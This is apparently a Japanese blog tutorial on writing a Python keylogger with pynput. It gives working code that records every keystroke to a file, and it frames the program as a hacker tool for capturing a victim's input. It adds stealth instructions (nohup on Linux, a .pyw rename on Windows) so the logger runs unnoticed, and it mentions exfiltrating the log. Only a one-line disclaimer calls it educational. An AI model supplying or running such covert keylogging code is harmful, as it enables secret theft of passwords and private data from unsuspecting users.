Pythonのキーロガーを作り方|キー入力の検出とかを実装していくよ

スポンサーリンク

今日はPythonのキーロガーを作る作業をします。

キーロガーは、ハッカーの道具箱の中で最も一般的なツールの一つです。

実際、最も基本的なツールの一つで、非常に簡単に作ることができます。

このモジュールでは、非常に効果的かつ正確なキーロガーのコーディング方法を学びます。

スポンサーリンク

必要なライブラリのインストール

始める前に、特定のライブラリをインストールする必要がありますが、これはpipコマンドで行います。

$ sudo pip3 install pynput

これで、コードを書き続けることができるようになりました。

たった10行でPythonのキーロガーを実装する

1
2
3
4
5
6
7
8
9
10
from pynput.keyboard import Key, Listener
import logging
 
logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
 
def on_press(key):
    logging.info(str(key))
 
with Listener(on_press=on_press) as listener :
    listener.join()

コードの説明

コードの説明だけでは飽き足らないでしょう。

それぞれの行が何をするのか理解し、自分で作るための準備をしましょう。

1-2行目: 必要なライブラリのインポート

1
2
from pynput.keyboard import Key, Listener
import logging

このコードを動作させるためには、以下のライブラリが必要です。

  • pynput。これはユーザが入力するキーストロークを読み取るのに役立ちます。
  • logging: これはキーストロークをファイルに記録し、後で適切な手段で流出させることができます。

4行目 ログの基本設定

4
logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

ここでは、ロギングシステムの基本的な設定を行います。

キー入力を記録するファイル名をkeylog.txtとし、キー入力を保存する形式を指定します。

YY-MM-DD HH-MM-SS(ms) - KEY

6-7行目:機能を定義する

6
7
def on_press(key):
    logging.info(str(key))

ここで定義された関数は、ユーザーが押したキーを引数として受け取り、それを文字列に変換してファイルに記録します。

9-10行目 キーストロークの取得

9
10
with Listener(on_press=on_press) as listener :
    listener.join()

まず、キーストロークを記録するListenerのインスタンスを作成し、作成した関数を引数として渡します。

そして、.join()メソッドを使ってメインスレッドに参加させています。

こうしてキーが押されるたびにListenerが起動し、関数が呼び出されてキーストロークがファイルに記録されます。

Pythonキーロガーの実行


で実行することができます

$ python3 keylogger.py

プログラムを起動すると、カレントディレクトリに新しいファイルkeylog.txtが作成されることに気づくでしょう。

$ nohup python3 keylogger.py &
Running Our Code for Python Keylogger
Running Our Code

Pythonキーロガーをこっそりと実行する

お分かりのように、コードを実行する最後の方法は、あまりステルスではありませんでしたので、もう少し効果的にするために、次のトリックを採用することができます

Linux/Unixの場合

誰にも気づかれずにコードを実行するには、単に次のように実行すればよい。

Captured KeyStrokes Python Keylogger
Captured KeyStrokes

これは、ターミナルが閉じた後でも、キーストロークを記録しながらコードを実行させます!

Windowsの場合

Windows では、ファイルの拡張子を .py から .pyw に変更し、ファイルをダブルクリックするだけで、ターミナルがポップアップされずに実行することができます

このプログラムはバックグラウンドで実行され、以後キーを押すたびにログが記録されます。

まとめ

犠牲者のキー入力を記録するための、短くて効果的なPythonキーロガーを作成しました。

しかし、これはあくまで教育目的であり、悪意のある目的には使用しないでください。

参考文献 – Pynputモジュール公式ドキュメント

タイトルとURLをコピーしました